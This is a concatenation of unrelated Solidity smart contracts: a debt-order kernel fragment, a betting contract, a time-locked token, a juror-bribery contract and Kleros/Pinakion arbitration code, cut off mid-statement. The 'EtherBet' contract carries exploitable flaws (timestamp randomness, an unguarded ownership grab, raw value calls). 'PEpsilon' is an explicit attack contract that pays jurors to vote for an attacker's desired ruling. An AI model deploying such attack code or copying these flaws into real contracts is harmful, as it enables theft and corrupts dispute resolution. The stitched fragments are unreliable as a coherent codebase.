ORDER_CANCELLED, ORDER_INVALID_INSUFFICIENT_OR_EXCESSIVE_FEES, ORDER_INVALID_INSUFFICIENT_PRINCIPAL, ORDER_INVALID_UNSPECIFIED_FEE_RECIPIENT, ORDER_INVALID_NON_CONSENSUAL, CREDITOR_BALANCE_OR_ALLOWANCE_INSUFFICIENT } DebtToken public debtToken; address public TOKEN_TRANSFER_PROXY; bytes32 constant public NULL_ISSUANCE_HASH = bytes32(0); uint16 constant public EXTERNAL_QUERY_GAS_LIMIT = 8000; mapping (bytes32 => bool) public issuanceCancelled; mapping (bytes32 => bool) public debtOrderCancelled; event LogDebtOrderFilled( bytes32 indexed _agreementId, uint _principal, address _principalToken, address indexed _underwriter, uint _underwriterFee, address indexed _relayer, uint _relayerFee ); event LogIssuanceCancelled( bytes32 indexed _agreementId, address indexed _cancelledBy ); event LogDebtOrderCancelled( bytes32 indexed _debtOrderHash, address indexed _cancelledBy ); event LogError( uint8 indexed _errorId, bytes32 indexed _orderHash ); struct Issuance { address version; address debtor; address underwriter; uint underwriterRiskRating; address termsContract; bytes32 termsContractParameters; uint salt; bytes32 agreementId; } struct DebtOrder { Issuance issuance; uint underwriterFee; uint relayerFee; uint principalAmount; address principalToken; uint creditorFee; uint debtorFee; address relayer; uint expirationTimestampInSec; bytes32 debtOrderHash; } function DebtKernel(address tokenTransferProxyAddress) public { TOKEN_TRANSFER_PROXY = tokenTransferProxyAddress; } function setDebtToken(address debtTokenAddress) public onlyOwner { debtToken = DebtToken(debtTokenAddress); } function fillDebtOrder( address creditor, address[6] orderAddresses, uint[8] orderValues, bytes32[1] orderBytes32, uint8[3] signaturesV, bytes32[3] signaturesR, bytes32[3] signaturesS ) public whenNotPaused returns (bytes32 _agreementId) { DebtOrder memory debtOrder = getDebtOrder(orderAddresses, orderValues, orderBytes32); if (!assertDebtOrderValidityInvariants(debtOrder) || !assertDebtOrderConsensualityInvariants( debtOrder, creditor, signaturesV, signaturesR, signaturesS) || !assertExternalBalanceAndAllowanceInvariants(creditor, debtOrder)) { return NULL_ISSUANCE_HASH; } issueDebtAgreement(creditor, debtOrder.issuance); if (debtOrder.issuance.termsContract != address(0)) { require( TermsContract(debtOrder.issuance.termsContract) .registerTermStart( debtOrder.issuance.agreementId, debtOrder.issuance.debtor ) ); } if (debtOrder.principalAmount > 0) { require(transferTokensFrom( debtOrder.principalToken, creditor, debtOrder.issuance.debtor, debtOrder.principalAmount.sub(debtOrder.debtorFee) )); } if (debtOrder.underwriterFee > 0) { require(transferTokensFrom( debtOrder.principalToken, creditor, debtOrder.issuance.underwriter, debtOrder.underwriterFee )); } if (debtOrder.relayerFee > 0) { require(transferTokensFrom( debtOrder.principalToken, creditor, debtOrder.relayer, debtOrder.relayerFee )); } LogDebtOrderFilled( debtOrder.issuance.agreementId, debtOrder.principalAmount, debtOrder.principalToken, debtOrder.issuance.underwriter, debtOrder.underwriterFee, debtOrder.relayer, debtOrder.relayerFee ); return debtOrder.issuance.agreementId; } function cancelIssuance( address version, address debtor, address termsContract, bytes32 termsContractParameters, address underwriter, uint underwriterRiskRating, uint salt ) public whenNotPaused { require(msg.sender == debtor || msg.sender == underwriter); Issuance memory issuance = getIssuance( version, debtor, underwriter, termsContract, underwriterRiskRating, salt, termsContractParameters ); issuanceCancelled[issuance.agreementId] = true; LogIssuanceCancelled(issuance.agreementId, msg.sender); } function cancelDebtOrder( address[6] orderAddresses, uint[8] orderValues, bytes32[1] orderBytes32 ) public whenNotPaused { DebtOrder memory debtOrder = getDebtOrder(orderAddresses, orderValues, orderBytes32); require(msg.sender == debtOrder.issuance.debtor); debtOrderCancelled[debtOrder.debtOrderHash] = true; LogDebtOrderCancelled(debtOrder.debtOrderHash, msg.sender); } function issueDebtAgreement(address beneficiary, Issuance issuance) internal returns (bytes32 _agreementId) { uint tokenId = debtToken.create( issuance.version, beneficiary, issuance.debtor, issuance.underwriter, issuance.underwriterRiskRating, issuance.termsContract, issuance.termsContractParameters, issuance.salt ); assert(tokenId == uint(issuance.agreementId)); return issuance.agreementId; } function assertDebtOrderConsensualityInvariants( DebtOrder debtOrder, address creditor, uint8[3] signaturesV, bytes32[3] signaturesR, bytes32[3] signaturesS ) internal returns (bool _orderIsConsensual) { if (msg.sender != debtOrder.issuance.debtor) { if (!isValidSignature( debtOrder.issuance.debtor, debtOrder.debtOrderHash, signaturesV[0], signaturesR[0], signaturesS[0] )) { LogError(uint8(Errors.ORDER_INVALID_NON_CONSENSUAL), debtOrder.debtOrderHash); return false; } } if (msg.sender != creditor) { if (!isValidSignature( creditor, debtOrder.debtOrderHash, signaturesV[1], signaturesR[1], signaturesS[1] )) { LogError(uint8(Errors.ORDER_INVALID_NON_CONSENSUAL), debtOrder.debtOrderHash); return false; } } if (debtOrder.issuance.underwriter != address(0) && msg.sender != debtOrder.issuance.underwriter) { if (!isValidSignature( debtOrder.issuance.underwriter, getUnderwriterMessageHash(debtOrder), signaturesV[2], signaturesR[2], signaturesS[2] )) { LogError(uint8(Errors.ORDER_INVALID_NON_CONSENSUAL), debtOrder.debtOrderHash); return false; } } return true; } function assertDebtOrderValidityInvariants(DebtOrder debtOrder) internal returns (bool _orderIsValid) { uint totalFees = debtOrder.creditorFee.add(debtOrder.debtorFee); if (totalFees != debtOrder.relayerFee.add(debtOrder.underwriterFee)) { LogError(uint8(Errors.ORDER_INVALID_INSUFFICIENT_OR_EXCESSIVE_FEES), debtOrder.debtOrderHash); return false; } if (debtOrder.principalAmount < debtOrder.debtorFee) { LogError(uint8(Errors.ORDER_INVALID_INSUFFICIENT_PRINCIPAL), debtOrder.debtOrderHash); return false; } if ((debtOrder.issuance.underwriter == address(0) && debtOrder.underwriterFee > 0) || (debtOrder.relayer == address(0) && totalFees != debtOrder.underwriterFee)) { LogError(uint8(Errors.ORDER_INVALID_UNSPECIFIED_FEE_RECIPIENT), debtOrder.debtOrderHash); return false; } if (debtOrder.expirationTimestampInSec < block.timestamp) { LogError(uint8(Errors.ORDER_EXPIRED), debtOrder.debtOrderHash); return false; } if (debtToken.exists(uint(debtOrder.issuance.agreementId))) { LogError(uint8(Errors.DEBT_ISSUED), debtOrder.debtOrderHash); return false; } if (issuanceCancelled[debtOrder.issuance.agreementId]) { LogError(uint8(Errors.ISSUANCE_CANCELLED), debtOrder.debtOrderHash); return false; } if (debtOrderCancelled[debtOrder.debtOrderHash]) { LogError(uint8(Errors.ORDER_CANCELLED), debtOrder.debtOrderHash); return false; } return true; } function assertExternalBalanceAndAllowanceInvariants( address creditor, DebtOrder debtOrder ) internal returns (bool _isBalanceAndAllowanceSufficient) { uint totalCreditorPayment = debtOrder.principalAmount.add(debtOrder.creditorFee); if (getBalance(debtOrder.principalToken, creditor) < totalCreditorPayment || getAllowance(debtOrder.principalToken, creditor) < totalCreditorPayment) { LogError(uint8(Errors.CREDITOR_BALANCE_OR_ALLOWANCE_INSUFFICIENT), debtOrder.debtOrderHash); return false; } return true; } function transferTokensFrom( address token, address from, address to, uint amount ) internal returns (bool success) { return TokenTransferProxy(TOKEN_TRANSFER_PROXY).transferFrom( token, from, to, amount ); } function getIssuance( address version, address debtor, address underwriter, address termsContract, uint underwriterRiskRating, uint salt, bytes32 termsContractParameters ) internal pure returns (Issuance _issuance) { Issuance memory issuance = Issuance({ version: version, debtor: debtor, underwriter: underwriter, termsContract: termsContract, underwriterRiskRating: underwriterRiskRating, salt: salt, termsContractParameters: termsContractParameters, agreementId: getAgreementId( version, debtor, underwriter, termsContract, underwriterRiskRating, salt, termsContractParameters ) }); return issuance; } function getDebtOrder(address[6] orderAddresses, uint[8] orderValues, bytes32[1] orderBytes32) internal view returns (DebtOrder _debtOrder) { DebtOrder memory debtOrder = DebtOrder({ issuance: getIssuance( orderAddresses[0], orderAddresses[1], orderAddresses[2], orderAddresses[3], orderValues[0], orderValues[1], orderBytes32[0] ), principalToken: orderAddresses[4], relayer: orderAddresses[5], principalAmount: orderValues[2], underwriterFee: orderValues[3], relayerFee: orderValues[4], creditorFee: orderValues[5], debtorFee: orderValues[6], expirationTimestampInSec: orderValues[7], debtOrderHash: bytes32(0) }); debtOrder.debtOrderHash = getDebtOrderHash(debtOrder); return debtOrder; } function getAgreementId( address version, address debtor, address underwriter, address termsContract, uint underwriterRiskRating, uint salt, bytes32 termsContractParameters ) internal pure returns (bytes32 _agreementId) { return keccak256( version, debtor, underwriter, underwriterRiskRating, termsContract, termsContractParameters, salt ); } function getUnderwriterMessageHash(DebtOrder debtOrder) internal view returns (bytes32 _underwriterMessageHash) { return keccak256( address(this), debtOrder.issuance.agreementId, debtOrder.underwriterFee, debtOrder.principalAmount, debtOrder.principalToken, debtOrder.expirationTimestampInSec ); } function getDebtOrderHash(DebtOrder debtOrder) internal view returns (bytes32 _debtorMessageHash) { return keccak256( address(this), debtOrder.issuance.agreementId, debtOrder.underwriterFee, debtOrder.principalAmount, debtOrder.principalToken, debtOrder.debtorFee, debtOrder.creditorFee, debtOrder.relayer, debtOrder.relayerFee, debtOrder.expirationTimestampInSec ); } function isValidSignature( address signer, bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (bool _valid) { return signer == ecrecover( keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s ); } function getBalance( address token, address owner ) internal view returns (uint _balance) { return ERC20(token).balanceOf.gas(EXTERNAL_QUERY_GAS_LIMIT)(owner); } function getAllowance( address token, address owner ) internal view returns (uint _allowance) { return ERC20(token).allowance.gas(EXTERNAL_QUERY_GAS_LIMIT)(owner, TOKEN_TRANSFER_PROXY); } }
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pragma solidity ^0.4.24; contract EtherBet{ address gameOwner = address(0); bool locked = false; function bet() payable { if ((random()%2==1) && (msg.value == 1 ether) && (!locked)) { if (!msg.sender.call.value(2 ether)()) throw; } } function lock() { if (gameOwner==msg.sender) { locked = true; } } function unlock() { if (gameOwner==msg.sender) { locked = false; } } function own(address owner) { if ((gameOwner == address(0)) || (gameOwner == msg.sender)) { gameOwner = owner; } } function releaseFunds(uint amount) { if (gameOwner==msg.sender) { if (!msg.sender.call.value( amount * (1 ether))()) throw; } } function random() view returns (uint8) { return uint8(uint256(keccak256(block.timestamp, block.difficulty))%256); } function () public payable { bet(); } }
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pragma solidity 0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } contract HasNoEther is Ownable { function HasNoEther() public payable { require(msg.value == 0); } function() external { } function reclaimEther() external onlyOwner { assert(owner.send(this.balance)); } } contract HasNoTokens is CanReclaimToken { function tokenFallback(address from_, uint256 value_, bytes data_) external { from_; value_; data_; revert(); } } contract HasNoContracts is Ownable { function reclaimContract(address contractAddr) external onlyOwner { Ownable contractInst = Ownable(contractAddr); contractInst.transferOwnership(owner); } } contract NoOwner is HasNoEther, HasNoTokens, HasNoContracts { } contract NAGACoin is MintableToken, NoOwner { string public constant name = "NAGA Coin"; string public constant symbol = "NGC"; uint8 public constant decimals = 18; mapping (address => uint256) public releaseTimes; function mintWithTimeLock(address _to, uint256 _amount, uint256 _releaseTime) public returns (bool) { if (_releaseTime > releaseTimes[_to]) { releaseTimes[_to] = _releaseTime; } return mint(_to, _amount); } function transfer(address _to, uint256 _value) public returns (bool) { require(!timeLocked(msg.sender)); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(!timeLocked(_from)); return super.transferFrom(_from, _to, _value); } function timeLocked(address _spender) public returns (bool) { if (releaseTimes[_spender] == 0) { return false; } if (releaseTimes[_spender] <= block.timestamp) { delete releaseTimes[_spender]; return false; } return true; } }
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contract PEpsilon { Pinakion public pinakion; Kleros public court; uint public balance; uint public disputeID; uint public desiredOutcome; uint public epsilon; bool public settled; uint public maxAppeals; mapping (address => uint) public withdraw; address public attacker; uint public remainingWithdraw; modifier onlyBy(address _account) {require(msg.sender == _account); _;} event AmountShift(uint val, uint epsilon ,address juror); event Log(uint val, address addr, string message); constructor(Pinakion _pinakion, Kleros _kleros, uint _disputeID, uint _desiredOutcome, uint _epsilon, uint _maxAppeals) public { pinakion = _pinakion; court = _kleros; disputeID = _disputeID; desiredOutcome = _desiredOutcome; epsilon = _epsilon; attacker = msg.sender; maxAppeals = _maxAppeals; } function receiveApproval(address _from, uint _amount, address, bytes) public onlyBy(pinakion) { require(pinakion.transferFrom(_from, this, _amount)); balance += _amount; } function withdrawJuror() { withdrawSelect(msg.sender); } function withdrawSelect(address _juror) { uint amount = withdraw[_juror]; withdraw[_juror] = 0; balance = sub(balance, amount); remainingWithdraw = sub(remainingWithdraw, amount); require(pinakion.transfer(_juror, amount)); } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function withdrawAttacker(){ require(settled); if (balance > remainingWithdraw) { uint amount = balance - remainingWithdraw; balance = remainingWithdraw; require(pinakion.transfer(attacker, amount)); } } function settle() public { require(court.disputeStatus(disputeID) == Arbitrator.DisputeStatus.Solved); require(!settled); settled = true; var (, , appeals, choices, , , ,) = court.disputes(disputeID); if (court.currentRuling(disputeID) != desiredOutcome){ uint amountShift = court.getStakePerDraw(); uint winningChoice = court.getWinningChoice(disputeID, appeals); for (uint i=0; i <= (appeals > maxAppeals ? maxAppeals : appeals); i++){ if (winningChoice != 0){ uint votesLen = 0; for (uint c = 0; c <= choices; c++) { votesLen += court.getVoteCount(disputeID, i, c); } emit Log(amountShift, 0x0 ,"stakePerDraw"); emit Log(votesLen, 0x0, "votesLen"); uint totalToRedistribute = 0; uint nbCoherent = 0; for (uint j=0; j < votesLen; j++){ uint voteRuling = court.getVoteRuling(disputeID, i, j); address voteAccount = court.getVoteAccount(disputeID, i, j); emit Log(voteRuling, voteAccount, "voted"); if (voteRuling != winningChoice){ totalToRedistribute += amountShift; if (voteRuling == desiredOutcome){ withdraw[voteAccount] += amountShift + epsilon; remainingWithdraw += amountShift + epsilon; emit AmountShift(amountShift, epsilon, voteAccount); } } else { nbCoherent++; } } uint toRedistribute = (totalToRedistribute - amountShift) / (nbCoherent + 1); for (j = 0; j < votesLen; j++){ voteRuling = court.getVoteRuling(disputeID, i, j); voteAccount = court.getVoteAccount(disputeID, i, j); if (voteRuling == desiredOutcome){ withdraw[voteAccount] += toRedistribute; remainingWithdraw += toRedistribute; emit AmountShift(toRedistribute, 0, voteAccount); } } } } } } } pragma solidity ^0.4.24; contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public; } contract TokenController { function proxyPayment(address _owner) public payable returns(bool); function onTransfer(address _from, address _to, uint _amount) public returns(bool); function onApprove(address _owner, address _spender, uint _amount) public returns(bool); } contract Controlled { modifier onlyController { require(msg.sender == controller); _; } address public controller; function Controlled() public { controller = msg.sender;} function changeController(address _newController) public onlyController { controller = _newController; } } contract Pinakion is Controlled { string public name; uint8 public decimals; string public symbol; string public version = 'MMT_0.2'; struct Checkpoint { uint128 fromBlock; uint128 value; } Pinakion public parentToken; uint public parentSnapShotBlock; uint public creationBlock; mapping (address => Checkpoint[]) balances; mapping (address => mapping (address => uint256)) allowed; Checkpoint[] totalSupplyHistory; bool public transfersEnabled; MiniMeTokenFactory public tokenFactory; function Pinakion( address _tokenFactory, address _parentToken, uint _parentSnapShotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public { tokenFactory = MiniMeTokenFactory(_tokenFactory); name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; parentToken = Pinakion(_parentToken); parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = block.number; } function transfer(address _to, uint256 _amount) public returns (bool success) { require(transfersEnabled); doTransfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount ) public returns (bool success) { if (msg.sender != controller) { require(transfersEnabled); require(allowed[_from][msg.sender] >= _amount); allowed[_from][msg.sender] -= _amount; } doTransfer(_from, _to, _amount); return true; } function doTransfer(address _from, address _to, uint _amount ) internal { if (_amount == 0) { Transfer(_from, _to, _amount); return; } require(parentSnapShotBlock < block.number); require((_to != 0) && (_to != address(this))); var previousBalanceFrom = balanceOfAt(_from, block.number); require(previousBalanceFrom >= _amount); if (isContract(controller)) { require(TokenController(controller).onTransfer(_from, _to, _amount)); } updateValueAtNow(balances[_from], previousBalanceFrom - _amount); var previousBalanceTo = balanceOfAt(_to, block.number); require(previousBalanceTo + _amount >= previousBalanceTo); updateValueAtNow(balances[_to], previousBalanceTo + _amount); Transfer(_from, _to, _amount); } function balanceOf(address _owner) public constant returns (uint256 balance) { return balanceOfAt(_owner, block.number); } function approve(address _spender, uint256 _amount) public returns (bool success) { require(transfersEnabled); if (isContract(controller)) { require(TokenController(controller).onApprove(msg.sender, _spender, _amount)); } allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender ) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function approveAndCall(address _spender, uint256 _amount, bytes _extraData ) public returns (bool success) { require(approve(_spender, _amount)); ApproveAndCallFallBack(_spender).receiveApproval( msg.sender, _amount, this, _extraData ); return true; } function totalSupply() public constant returns (uint) { return totalSupplyAt(block.number); } function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) { if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { return 0; } } else { return getValueAt(balances[_owner], _blockNumber); } } function totalSupplyAt(uint _blockNumber) public constant returns(uint) { if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } } else { return getValueAt(totalSupplyHistory, _blockNumber); } } function createCloneToken( string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled ) public returns(address) { if (_snapshotBlock == 0) _snapshotBlock = block.number; Pinakion cloneToken = tokenFactory.createCloneToken( this, _snapshotBlock, _cloneTokenName, _cloneDecimalUnits, _cloneTokenSymbol, _transfersEnabled ); cloneToken.changeController(msg.sender); NewCloneToken(address(cloneToken), _snapshotBlock); return address(cloneToken); } function generateTokens(address _owner, uint _amount ) public onlyController returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply + _amount >= curTotalSupply); uint previousBalanceTo = balanceOf(_owner); require(previousBalanceTo + _amount >= previousBalanceTo); updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); updateValueAtNow(balances[_owner], previousBalanceTo + _amount); Transfer(0, _owner, _amount); return true; } function destroyTokens(address _owner, uint _amount ) onlyController public returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply >= _amount); uint previousBalanceFrom = balanceOf(_owner); require(previousBalanceFrom >= _amount); updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); Transfer(_owner, 0, _amount); return true; } function enableTransfers(bool _transfersEnabled) public onlyController { transfersEnabled = _transfersEnabled; } function getValueAt(Checkpoint[] storage checkpoints, uint _block ) constant internal returns (uint) { if (checkpoints.length == 0) return 0; if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1)/ 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value ) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } function min(uint a, uint b) pure internal returns (uint) { return a < b ? a : b; } function () public payable { require(isContract(controller)); require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender)); } function claimTokens(address _token) public onlyController { if (_token == 0x0) { controller.transfer(this.balance); return; } Pinakion token = Pinakion(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); ClaimedTokens(_token, controller, balance); } event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); event Transfer(address indexed _from, address indexed _to, uint256 _amount); event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); } contract MiniMeTokenFactory { function createCloneToken( address _parentToken, uint _snapshotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public returns (Pinakion) { Pinakion newToken = new Pinakion( this, _parentToken, _snapshotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled ); newToken.changeController(msg.sender); return newToken; } } contract RNG{ function contribute(uint _block) public payable; function requestRN(uint _block) public payable { contribute(_block); } function getRN(uint _block) public returns (uint RN); function getUncorrelatedRN(uint _block) public returns (uint RN) { uint baseRN=getRN(_block); if (baseRN==0) return 0; else return uint(keccak256(msg.sender,baseRN)); } } contract BlockHashRNG is RNG { mapping (uint => uint) public randomNumber; mapping (uint => uint) public reward; function contribute(uint _block) public payable { reward[_block]+=msg.value; } function getRN(uint _block) public returns (uint RN) { RN=randomNumber[_block]; if (RN==0){ saveRN(_block); return randomNumber[_block]; } else return RN; } function saveRN(uint _block) public { if (blockhash(_block) != 0x0) randomNumber[_block] = uint(blockhash(_block)); if (randomNumber[_block] != 0) { uint rewardToSend = reward[_block]; reward[_block] = 0; msg.sender.send(rewardToSend); } } } contract BlockHashRNGFallback is BlockHashRNG { function saveRN(uint _block) public { if (_block<block.number && randomNumber[_block]==0) { if (blockhash(_block)!=0x0) randomNumber[_block]=uint(blockhash(_block)); else randomNumber[_block]=uint(blockhash(block.number-1)); } if (randomNumber[_block] != 0) { uint rewardToSend=reward[_block]; reward[_block]=0; msg.sender.send(rewardToSend); } } } contract Arbitrable{ Arbitrator public arbitrator; bytes public arbitratorExtraData; modifier onlyArbitrator {require(msg.sender==address(arbitrator)); _;} event Ruling(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _ruling); event MetaEvidence(uint indexed _metaEvidenceID, string _evidence); event Dispute(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _metaEvidenceID); event Evidence(Arbitrator indexed _arbitrator, uint indexed _disputeID, address _party, string _evidence); constructor(Arbitrator _arbitrator, bytes _arbitratorExtraData) public { arbitrator = _arbitrator; arbitratorExtraData = _arbitratorExtraData; } function rule(uint _disputeID, uint _ruling) public onlyArbitrator { emit Ruling(Arbitrator(msg.sender),_disputeID,_ruling); executeRuling(_disputeID,_ruling); } function executeRuling(uint _disputeID, uint _ruling) internal; } contract Arbitrator{ enum DisputeStatus {Waiting, Appealable, Solved} modifier requireArbitrationFee(bytes _extraData) {require(msg.value>=arbitrationCost(_extraData)); _;} modifier requireAppealFee(uint _disputeID, bytes _extraData) {require(msg.value>=appealCost(_disputeID, _extraData)); _;} event AppealPossible(uint _disputeID); event DisputeCreation(uint indexed _disputeID, Arbitrable _arbitrable); event AppealDecision(uint indexed _disputeID, Arbitrable _arbitrable); function createDispute(uint _choices, bytes _extraData) public requireArbitrationFee(_extraData) payable returns(uint disputeID) {} function arbitrationCost(bytes _extraData) public constant returns(uint fee); function appeal(uint _disputeID, bytes _extraData) public requireAppealFee(_disputeID,_extraData) payable { emit AppealDecision(_disputeID, Arbitrable(msg.sender)); } function appealCost(uint _disputeID, bytes _extraData) public constant returns(uint fee); function disputeStatus(uint _disputeID) public constant returns(DisputeStatus status); function currentRuling(uint _disputeID) public constant returns(uint ruling); } contract Kleros is Arbitrator, ApproveAndCallFallBack { Pinakion public pinakion; uint public constant NON_PAYABLE_AMOUNT = (2**256 - 2) / 2; RNG public rng; uint public arbitrationFeePerJuror = 0.05 ether; uint16 public defaultNumberJuror = 3; uint public minActivatedToken = 0.1 * 1e18; uint[5] public timePerPeriod; uint public alpha = 2000; uint constant ALPHA_DIVISOR = 1e4; uint public maxAppeals = 5; address public governor; uint public session = 1; uint public lastPeriodChange; uint public segmentSize; uint public rnBlock; uint public randomNumber; enum Period { Activation, Draw, Vote, Appeal, Execution } Period public period; struct Juror { uint balance; uint atStake; uint lastSession; uint segmentStart; uint segmentEnd; } mapping (address => Juror) public jurors; struct Vote { address account; uint ruling; } struct VoteCounter { uint winningChoice; uint winningCount; mapping (uint => uint) voteCount; } enum DisputeState { Open, Resolving, Executable, Executed } struct Dispute { Arbitrable arbitrated; uint session; uint appeals; uint choices; uint16 initialNumberJurors; uint arbitrationFeePerJuror; DisputeState state; Vote[][] votes; VoteCounter[] voteCounter; mapping (address => uint) lastSessionVote; uint currentAppealToRepartition; AppealsRepartitioned[] appealsRepartitioned; } enum RepartitionStage { Incoherent, Coherent, AtStake, Complete } struct AppealsRepartitioned { uint totalToRedistribute; uint nbCoherent; uint currentIncoherentVote; uint currentCoherentVote; uint currentAtStakeVote; RepartitionStage stage; } Dispute[] public disputes; event NewPeriod(Period _period, uint indexed _session); event TokenShift(address indexed _account, uint _disputeID, int _amount); event ArbitrationReward(address indexed _account, uint _disputeID, uint _amount); modifier onlyBy(address _account) {require(msg.sender == _account); _;} modifier onlyDuring(Period _period) {require(period == _period); _;} modifier onlyGovernor() {require(msg.sender == governor); _;} constructor(Pinakion _pinakion, RNG _rng, uint[5] _timePerPeriod, address _governor) public { pinakion = _pinakion; rng = _rng; lastPeriodChange = now; timePerPeriod = _timePerPeriod; governor = _governor; } function receiveApproval(address _from, uint _amount, address, bytes) public onlyBy(pinakion) { require(pinakion.transferFrom(_from, this, _amount)); jurors[_from].balance += _amount; } function withdraw(uint _value) public { Juror storage juror = jurors[msg.sender]; require(juror.atStake <= juror.balance); require(_value <= juror.balance-juror.atStake); require(juror.lastSession != session); juror.balance -= _value; require(pinakion.transfer(msg.sender,_value)); } function passPeriod() public { require(now-lastPeriodChange >= timePerPeriod[uint8(period)]); if (period == Period.Activation) { rnBlock = block.number + 1; rng.requestRN(rnBlock); period = Period.Draw; } else if (period == Period.Draw) { randomNumber = 